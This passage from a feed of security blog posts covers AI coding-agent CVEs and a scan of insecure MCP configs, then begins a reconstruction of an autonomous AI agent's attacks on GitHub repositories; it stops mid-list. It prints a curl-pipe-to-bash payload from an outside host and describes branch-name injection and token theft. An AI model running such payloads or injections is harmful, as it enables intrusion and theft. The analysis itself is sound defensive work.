&lt;p&gt;An academic analysis of 67,057 MCP servers across six registries found that a substantial number could be hijacked. The MCP specification itself now includes security best practices, but they're recommendations, not enforced requirements. &lt;a href="https://orchesis.ai/blog/mcp-scan" rel="noopener noreferrer"&gt;We scanned 900 MCP configs ourselves&lt;/a&gt; and found 75% had security problems.&lt;/p&gt;

&lt;h2&gt;
  
  
  The CVE count: OpenClaw 92, Claude Code 8, Cursor 8
&lt;/h2&gt;

&lt;p&gt;Raw numbers don't tell the whole story, but they tell part of it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OpenClaw&lt;/strong&gt; leads with 92+ security advisories and 9+ formal CVEs in four months. The ClawHavoc attack compromised 20% of the skill marketplace. Kaspersky found 512 vulnerabilities in a single audit, 8 critical. SecurityScorecard discovered 135,000 publicly exposed instances, a third correlated with known threat actor activity. China restricted state enterprises from using it. Belgium issued an emergency advisory.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Claude Code&lt;/strong&gt; has 8+ CVEs ranging from medium to critical severity, including the Koi Security "PromptJacking" finding at CVSS 8.9 that affected three official Anthropic extensions. A March 2026 fix addressed PreToolUse hooks that could bypass deny rules, including enterprise managed settings. That last part is important: enterprise customers paying for managed security had a bypass in their permission enforcement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cursor&lt;/strong&gt; also has 8+ assigned CVEs, all high severity. The 94 unpatched Chromium vulnerabilities from an outdated Electron fork are a separate category of risk. OX Security successfully weaponized one against the latest Cursor version. Workspace Trust is disabled by default because enabling it disables AI features. That tradeoff tells you something about priorities.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it costs when things go wrong
&lt;/h2&gt;

&lt;p&gt;None of these tools have real budget controls.&lt;/p&gt;

&lt;p&gt;OpenClaw's costs depend entirely on which APIs you connect, with no built-in limits. Reports of unmonitored cron jobs inflating bills by 10-30% are common in the issues. Claude Code subscription tiers cap at roughly 45 messages per 5 hours on Pro, but there are no per-session budget limits or loop detection. Anthropic reports average costs around $6 per day per developer, which sounds reasonable until one session spirals. Cursor's credit system bills overages at API rates with rate limits of 1 request per minute and 30 per hour.&lt;/p&gt;

&lt;p&gt;For audit logging, Claude Code has the most mature offering with an Enterprise Compliance API for real-time usage data, though it exports metadata only, not chat content. Cursor restricts audit logs to the Enterprise plan. OpenClaw stores session transcripts as local JSONL files that aren't tamper-proof or centralized.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;OpenClaw&lt;/th&gt;
&lt;th&gt;Claude Code&lt;/th&gt;
&lt;th&gt;Cursor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Sandbox default&lt;/td&gt;
&lt;td&gt;Off&lt;/td&gt;
&lt;td&gt;On when configured&lt;/td&gt;
&lt;td&gt;Opt-in, Pro+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Known sandbox escapes&lt;/td&gt;
&lt;td&gt;3+&lt;/td&gt;
&lt;td&gt;Agent reasoning bypass&lt;/td&gt;
&lt;td&gt;Forum-reported failures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Injection scanning&lt;/td&gt;
&lt;td&gt;"Out of scope"&lt;/td&gt;
&lt;td&gt;Multiple layers, all bypassed&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVEs&lt;/td&gt;
&lt;td&gt;92 advisories, 9+ formal&lt;/td&gt;
&lt;td&gt;8+&lt;/td&gt;
&lt;td&gt;8+ plus 94 Chromium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Budget controls&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Rate limits only&lt;/td&gt;
&lt;td&gt;Credit-based, no per-session cap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enterprise compliance&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;SOC 2, ISO 27001, ISO 42001&lt;/td&gt;
&lt;td&gt;SOC 2, Enterprise plan only&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  So which one
&lt;/h2&gt;

&lt;p&gt;Depends on what scares you more.&lt;/p&gt;

&lt;p&gt;If your primary concern is supply chain attacks, avoid OpenClaw until the skill marketplace matures. 20% malicious packages is disqualifying for production use today, full stop.&lt;/p&gt;

&lt;p&gt;If you need enterprise compliance and the strongest default security posture, Claude Code is ahead. SOC 2 Type II, ISO 27001, and the only tool with OS-native sandboxing that doesn't require Docker. But "ahead" is relative when researchers keep finding sandbox bypasses.&lt;/p&gt;

&lt;p&gt;If your team already uses Cursor and switching costs are high, patch to the latest version immediately, enable sandboxing, disable YOLO mode, and audit your MCP server list. The 94 Chromium vulnerabilities alone justify staying current.&lt;/p&gt;

&lt;p&gt;What none of them offer: external monitoring of agent behavior. Each tool watches itself from the inside. That architectural pattern has a name in distributed systems: it's the same reason you don't let a process monitor its own health. You put a watchdog outside the process. &lt;a href="https://orchesis.ai/blog/proxy-vs-decorator" rel="noopener noreferrer"&gt;We wrote about why this is unfixable from inside the agent&lt;/a&gt;. For AI agents, that watchdog doesn't exist in any of these tools yet. We're building one for OpenClaw specifically.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Related:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://orchesis.ai/blog/mcp-scan" rel="noopener noreferrer"&gt;We scanned 900 MCP configs. 75% had security problems.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://orchesis.ai/blog/hackerbot-claw" rel="noopener noreferrer"&gt;An AI agent compromised 7 repos in one week.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://orchesis.ai/blog/proxy-vs-decorator" rel="noopener noreferrer"&gt;Why your AI agent can't detect its own compromise.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Run the scanner yourself: &lt;a href="https://orchesis.ai/scan" rel="noopener noreferrer"&gt;orchesis.ai/scan&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>opensource</category>
      <category>agents</category>
    </item>
    <item>
      <title>We scanned 900 MCP configs on GitHub. 75% had security problems.</title>
      <dc:creator>Pavel Ishchin</dc:creator>
      <pubDate>Tue, 24 Mar 2026 13:11:00 +0000</pubDate>
      <link>https://dev.clauneck.workers.dev/poushwell/we-scanned-900-mcp-configs-on-github-75-had-security-problems-4mff</link>
      <guid>https://dev.clauneck.workers.dev/poushwell/we-scanned-900-mcp-configs-on-github-75-had-security-problems-4mff</guid>
      <description>&lt;p&gt;&lt;em&gt;We scanned 900+ MCP configurations on GitHub. 75% failed basic security checks. Nobody pins versions. The most popular MCP server is a bare shell wrapper.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I expected to find maybe a dozen hardcoded API keys and a handful of overly permissive configurations scattered across the results. The usual negligence you stumble on when you go digging through public repositories looking for things people probably shouldn't have committed.&lt;/p&gt;

&lt;p&gt;What I didn't expect was that three out of four configuration files would fail basic security checks, and that the single most popular "MCP package" in the entire dataset wouldn't actually be a package at all.&lt;/p&gt;

&lt;p&gt;This is the full account of how I got to those numbers, what the raw data revealed along the way, and where I think the whole MCP configuration ecosystem is quietly heading.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;AI creates faster than it can be verified. MCP servers multiply this problem: every tool your agent calls is a new unverified input. The runtime layer, the proxy between your agent and the API, is where verification actually happens, because it's the only place that sees everything.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Why I started poking around in the first place
&lt;/h2&gt;

&lt;p&gt;I've been building AI agent security tooling for the past few months, mostly focused on runtime enforcement — basically making sure autonomous agents don't do things they shouldn't be doing when they're making calls to LLM APIs behind your back.&lt;/p&gt;

&lt;p&gt;MCP kept surfacing in that work. For anyone who hasn't encountered it yet: MCP is the protocol that Claude Desktop, Cursor, and a growing number of similar tools rely on to connect AI agents to external servers. You define which servers the agent talks to in a JSON config, and then it just... has those capabilities. Reading files, querying databases, calling APIs, running shell commands, whatever those servers decide to expose.&lt;/p&gt;

&lt;p&gt;That configuration file is basically the permission boundary for everything the agent can do. Get it wrong and every misconfiguration flows directly into the agent's behavior, which gets uncomfortable when you consider that agents process untrusted input from users, tool outputs, and scraped web content.&lt;/p&gt;

&lt;p&gt;I kept running across theoretical discussions of MCP vulnerabilities. Prompt injection through tool results, malicious MCP servers, data exfiltration via crafted tool calls. Plenty of hypothetical attack scenarios had been written up, but I couldn't find anyone who had actually gone and looked at what real developers are configuring in practice.&lt;/p&gt;

&lt;p&gt;I figured the fastest way to answer those questions was to just go look.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the scanner was built
&lt;/h2&gt;

&lt;p&gt;The core approach was deliberately unsophisticated. GitHub's Code Search API, looking for specific filenames and content patterns across public repos. The scanner grabs &lt;code&gt;claude_desktop_config.json&lt;/code&gt;, &lt;code&gt;.cursor/mcp.json&lt;/code&gt;, and anything with &lt;code&gt;mcpServers&lt;/code&gt; in it, pulls down the raw file, tries to make sense of the JSON, and if it parses okay, runs its 52 checks against it.&lt;/p&gt;

&lt;p&gt;GitHub's Code Search caps results at roughly 1000 per query pattern, which I partially worked around by splitting queries using date ranges and file size qualifiers. Some file paths on GitHub contain spaces, parentheses, and unicode characters (one particularly memorable path included Portuguese text about "creating your second brain with AI"), and the scanner kept crashing on URL encoding issues. Three separate rounds of fixes before the thing could crawl reliably.&lt;/p&gt;

&lt;p&gt;After approximately 40 minutes of crawling, the scanner had collected &lt;strong&gt;900 configuration files from 839 unique repositories&lt;/strong&gt;. Every repository identifier was SHA256 hashed before being stored. No owner names, no repository URLs, and no actual credential values exist anywhere in the dataset.&lt;/p&gt;

&lt;h2&gt;
  
  
  The initial results were surprisingly bad
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;75% of the collected configuration files contained at least one security finding.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I had gone into this expecting something around 30%, maybe 40%. Not three quarters.&lt;/p&gt;

&lt;p&gt;The severity split: 1.6% critical (actual credential exposure), 76.2% high, 21% medium. I couldn't figure out why high severity was so dominant until I drilled into the individual check results.&lt;/p&gt;

&lt;p&gt;Turns out one specific check was responsible for almost all of it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Nobody pins versions (43.6%)
&lt;/h2&gt;

&lt;p&gt;Nearly half of all scanned configuration files reference MCP server packages without specifying which version should be installed. This single check accounts for the vast majority of high-severity findings in the entire dataset.&lt;/p&gt;

&lt;p&gt;The pattern I encountered over and over:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"filesystem"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"-y"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"@modelcontextprotocol/server-filesystem"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/home/user"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That &lt;code&gt;-y&lt;/code&gt; flag is the problem. It tells npm to just grab whatever happens to be the latest version right now and run it. If someone pushes a bad update to that package tonight, or if the maintainer account gets compromised, your agent loads the new code next time it starts. Nobody reviews it.&lt;/p&gt;

&lt;p&gt;The fix is trivial:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"-y"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"@modelcontextprotocol/server-filesystem@1.2.3"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/home/user"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The JavaScript ecosystem already went through precisely this lesson. The left-pad incident in 2016 was supposed to have permanently established the principle that you pin your dependencies. That was ten years ago. And now we're doing the exact same thing, except the packages involved don't just pad strings. They read your filesystem and execute shell commands.&lt;/p&gt;

&lt;h2&gt;
  
  
  The shell access problem is worse than it sounds
&lt;/h2&gt;

&lt;p&gt;Roughly one in eleven configuration files grants the AI agent direct access to command execution. The most frequently appearing entry across the entire dataset is not a recognized package with documented behavior and scope controls. It's &lt;code&gt;run&lt;/code&gt;. Just that. A bare shell command wrapper.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What developers put in their configs&lt;/th&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;th&gt;What it gives the agent&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;run&lt;/code&gt; (bare shell wrapper)&lt;/td&gt;
&lt;td&gt;136&lt;/td&gt;
&lt;td&gt;Can execute any command&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;server-filesystem&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;Reads and writes files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mcp-remote&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;34&lt;/td&gt;
&lt;td&gt;Connects to remote MCP servers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;server-github&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;GitHub API access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;server-sequential-thinking&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;Reasoning chain stuff&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;server-puppeteer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;Controls a headless browser&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;server-memory&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;Stores data persistently&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;server-playwright&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;Also controls a browser&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;So the bare unrestricted shell executor beat the official Anthropic-maintained scoped package by almost &lt;strong&gt;3 to 1&lt;/strong&gt;. I had to recount that because it seemed wrong.&lt;/p&gt;

&lt;p&gt;Many of the &lt;code&gt;server-filesystem&lt;/code&gt; entries were pointed at absurdly broad paths. Not &lt;code&gt;/home/user/project/data&lt;/code&gt; but just &lt;code&gt;/&lt;/code&gt;. Or &lt;code&gt;C:\&lt;/code&gt;. Or the user's entire home directory — SSH keys, cloud credentials, browser profiles, your whole digital identity sitting there for the agent to browse through.&lt;/p&gt;

&lt;h2&gt;
  
  
  What kept me scrolling: the combinations
&lt;/h2&gt;

&lt;p&gt;The scanner evaluates individual findings in isolation. But the thing that proved most concerning was how frequently multiple issues appeared stacked together:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"shell"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"files"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"-y"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"@modelcontextprotocol/server-filesystem"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"github"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"-y"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"@modelcontextprotocol/server-github"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"env"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"GITHUB_TOKEN"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ghp_xxxxxxxxxxxxxxxxxxxx"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing pinned. Shell wide open. Filesystem pointed at root. GitHub token just sitting right there. One file, committed together, probably in about 30 seconds.&lt;/p&gt;

&lt;p&gt;One bad npm update and an attacker can read everything on disk, run whatever commands they want, and push code to your GitHub. The agent handles the whole chain by itself with no human anywhere in the process.&lt;/p&gt;

&lt;p&gt;This isn't hypothetical. In February 2026, an autonomous AI agent operating under the GitHub account hackerbot-claw systematically exploited misconfigured CI/CD workflows across seven major open-source repositories, including projects from Microsoft, DataDog, and the CNCF. The agent achieved remote code execution in five of the seven targets. Every attack relied on the same root cause: overly permissive configs that nobody audited.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I changed in my own configuration
&lt;/h2&gt;

&lt;p&gt;Four changes:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Every package version pinned explicitly. Manual updates and occasional breakage, but that friction is the point.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Shell access removed entirely. After seeing &lt;code&gt;run&lt;/code&gt; in 136 configurations with zero restrictions, "convenient" stopped being a justification.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; All credentials moved into &lt;code&gt;.env&lt;/code&gt; files, &lt;code&gt;.gitignore&lt;/code&gt; verified.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; Filesystem paths scoped to the specific project directory. Not home folder. Not root.&lt;/p&gt;

&lt;p&gt;That's it. Four changes that take about two minutes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where I think this is heading
&lt;/h2&gt;

&lt;p&gt;75% of public configs failing basic checks isn't an individual negligence problem. When three quarters of your users get it wrong, the defaults are wrong. If the quick path through the documentation gives you an insecure config and the secure version requires you to know about version pinning and go look up the latest tag number, the insecure version is going to win every time.&lt;/p&gt;

&lt;p&gt;The MCP ecosystem has maybe a year before one of two things happens. Either the tooling catches up — built-in config validation, automatic version locking, permission audit integrated into Claude Desktop and Cursor. Or there's a big enough supply chain incident that the conversation gets forced from the outside.&lt;/p&gt;

&lt;p&gt;The EU AI Act enforcement begins in August 2026, five months away. Audit trails for AI agent behavior are about to become a legal requirement.&lt;/p&gt;

&lt;p&gt;Looking at what I found in these 900 configs, my money is on the incident coming first. I hope I'm wrong.&lt;/p&gt;




&lt;p&gt;The scanning tool, all 100+ checks across 9 categories, and the full analysis pipeline are open source. Run it yourself at &lt;a href="https://orchesis.ai/scan" rel="noopener noreferrer"&gt;orchesis.ai/scan&lt;/a&gt;. Everything runs in your browser, no data sent anywhere.&lt;/p&gt;

&lt;p&gt;The runtime proxy that catches these issues in production: &lt;a href="https://github.com/poushwell/orchesis" rel="noopener noreferrer"&gt;github.com/poushwell/orchesis&lt;/a&gt;. MIT license, zero dependencies, &lt;code&gt;pip install orchesis&lt;/code&gt;.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>An AI agent compromised 7 open-source repos in one week. The only defense that worked was another AI.</title>
      <dc:creator>Pavel Ishchin</dc:creator>
      <pubDate>Wed, 18 Mar 2026 13:07:00 +0000</pubDate>
      <link>https://dev.clauneck.workers.dev/poushwell/an-ai-agent-compromised-7-open-source-repos-in-one-week-the-only-defense-that-worked-was-another-3494</link>
      <guid>https://dev.clauneck.workers.dev/poushwell/an-ai-agent-compromised-7-open-source-repos-in-one-week-the-only-defense-that-worked-was-another-3494</guid>
      <description>&lt;p&gt;Between February 20 and 28, an autonomous AI agent called &lt;strong&gt;hackerbot-claw&lt;/strong&gt; systematically exploited GitHub Actions workflows across seven major open-source projects. It hit Microsoft. It hit DataDog. It hit a CNCF project.&lt;/p&gt;

&lt;p&gt;And then it fully compromised &lt;strong&gt;Aqua Security's Trivy&lt;/strong&gt; — the most widely used vulnerability scanner on GitHub, with 32,000 stars and over 100 million annual downloads.&lt;/p&gt;

&lt;p&gt;A security scanner got owned by a bot exploiting the exact class of misconfiguration the scanner was built to find. That's where we are.&lt;/p&gt;

&lt;p&gt;I've been building runtime security tooling for AI agents, so when StepSecurity published their full analysis of the campaign, I spent a few days tracing through every attack vector. What follows is a reconstruction of how the bot worked, what it exploited, and what the seven targets had in common.&lt;/p&gt;




&lt;h2&gt;
  
  
  What hackerbot-claw actually is
&lt;/h2&gt;

&lt;p&gt;The GitHub account was created on &lt;strong&gt;February 20, 2026&lt;/strong&gt;. Its profile described it as an "autonomous security research agent powered by claude-opus-4-5" and solicited cryptocurrency donations to "fund more scans." According to StepSecurity's analysis, the profile claimed &lt;strong&gt;47,391 repositories&lt;/strong&gt; already scanned.&lt;/p&gt;

&lt;p&gt;The bot loaded what it called a "vulnerability pattern index" with &lt;strong&gt;9 classes and 47 sub-patterns&lt;/strong&gt;, then autonomously scanned for matches, verified them, and dropped proof-of-concept exploits.&lt;/p&gt;

&lt;p&gt;Every successful attack delivered the same payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sSfL&lt;/span&gt; hackmoltrepeat.com/molt | bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But each target got a different exploitation technique. Five different approaches across seven repos, customized to each target's workflow configuration.&lt;/p&gt;

&lt;p&gt;That domain, &lt;code&gt;hackmoltrepeat.com&lt;/code&gt;, was registered on February 24 through Tucows, hidden behind Cloudflare nameservers. Three days after the account was created, four days before the campaign was publicly discovered.&lt;/p&gt;




&lt;h2&gt;
  
  
  What it hit
&lt;/h2&gt;

&lt;h3&gt;
  
  
  awesome-go (140,000+ stars)
&lt;/h3&gt;

&lt;p&gt;The bot injected a Go &lt;code&gt;init()&lt;/code&gt; function into a quality check script. In Go, &lt;code&gt;init()&lt;/code&gt; runs automatically before &lt;code&gt;main()&lt;/code&gt;, so the malicious code executed before any legitimate checks could catch it. The bot stole a &lt;strong&gt;GITHUB_TOKEN with write permissions&lt;/strong&gt; and exfiltrated it to its server.&lt;/p&gt;

&lt;h3&gt;
  
  
  Microsoft ai-discovery-agent
&lt;/h3&gt;

&lt;p&gt;Branch name injection. The bot created a branch whose name contained shell syntax. When the workflow echoed the branch ref into a file using unescaped interpolation, Bash evaluated the embedded command substitution and ran the remote payload.&lt;/p&gt;

&lt;h3&gt;
  
  
  DataDog datadog-iac-scanner
&lt;/h3&gt;

&lt;p&gt;Filename injection through the CI pipeline. DataDog responded within &lt;strong&gt;9 hours&lt;/strong&gt;, adding &lt;code&gt;author_association&lt;/code&gt; checks and tightening permissions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Aqua Security Trivy (32,000+ stars)
&lt;/h3&gt;

&lt;p&gt;This was the worst one.&lt;/p&gt;

&lt;p&gt;The bot exploited a &lt;code&gt;pull_request_target&lt;/code&gt; workflow called "API Diff Check" to steal a Personal Access Token with broad repository permissions. Within &lt;strong&gt;45 minutes&lt;/strong&gt; of the initial PR, the stolen PAT was used to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Delete all &lt;strong&gt;178 GitHub releases&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Wipe the repository&lt;/li&gt;
